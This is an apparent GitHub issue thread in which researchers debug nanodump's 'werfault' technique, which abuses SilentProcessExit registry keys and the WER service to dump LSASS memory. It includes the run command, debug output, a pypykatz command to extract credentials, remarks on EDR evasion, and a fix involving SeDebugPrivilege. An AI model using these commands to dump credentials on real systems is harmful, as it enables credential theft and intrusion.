Werfault technique returns empty lsass dump

[antonioCoco]

Hi @S4ntiagoP ,

the werfault technique seems cool and has some potential :)

However, i run it on a Windows 1909 and i got an empty lsass dump:

This is the output of the debug release:

C:\Users\splintercode\Desktop\nanodump-main\dist>nanodump.x64.exe --werfault C:\dmp -p 792
DEBUG: source/utils.c:323:remove_syscall_callback_hook(): The syscall callback hook was set to NULL
DEBUG: source/entry.c:474:main(): Using 792 as the PID of LSASS
DEBUG: source/werfault.c:117:set_registry_keys(): Registry key has been created : \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
DEBUG: source/werfault.c:137:set_registry_keys(): Registry key value has been created : GlobalFlag
DEBUG: source/werfault.c:170:set_registry_keys(): Registry key has been created : \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\
DEBUG: source/werfault.c:192:set_registry_keys(): Registry key has been created : \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
DEBUG: source/werfault.c:229:set_registry_keys(): Sub key LocalDumpFolder has been created
DEBUG: source/werfault.c:246:set_registry_keys(): Sub key DumpType has been created
DEBUG: source/werfault.c:500:rtl_report_silent_process_exit(): LSASS PID: 792, PID: 4508, TID: 10148
DEBUG: source/werfault.c:352:WaitForWerSvc(): The WER is ready
DEBUG: source/werfault.c:455:SendMessageToWERService(): Port handle: 0x000000000000008C
DEBUG: source/werfault.c:472:SendMessageToWERService(): Sent the message to the WER service
Done, to get the secretz run:
python3 -m pypykatz lsa minidump lsass.exe-(PID-792).dmp

Any idea why it's not working?

[S4ntiagoP]

I love that you used the debug release and the -p param, not that many people are aware of their existence 😄 Very weird indeed, the debug output seems ok and the Wer process obviously tried to created the dump. Is there any AV/EDR installed? maybe defender? It kinda looks like some security product deleted the dump (given that is the Wer process the one making the dump and not nanodump, it is not exactly the most opsec method when it comes to userland hooking and other methods of evasion)

[S4ntiagoP]

I'm a big fan of your work btw 😛

[antonioCoco]

eheh glad about that :D

I was running tests on machines without AV or EDR installed...

I tried it on a Windows Server 2019, Win10 1909, Win10 1809. I think there is some bogus code somewhere because on a Win10 1809 i saw the dump generated with few bytes:

Which Windows version have you been able to test successfully?

[S4ntiagoP]

Wow that is very weird, I will do some testing. I developed and tested in a Windows 10 Home version 21H2 OS Build 19044.1766

[S4ntiagoP]

The version 1809 build 17763 seems to work

It worked with and without defender, I guess it is a problem with some very specific versions then?

[antonioCoco]

Ok , i found the bug. Your code is enabling the SeDebugPrivilege after executing the "werfault" technique, while it's indeed required before. Also NtGetNextProcess requires that privilege and for that reason it failed also in retrieving the PID of lsass automatically.

Your tests were succesfully highly likely because you were running from a SYSTEM shell or a shell with SeDebugPrivilege already enabled (default is disabled) ;)

Now works :) Sending a PR soon.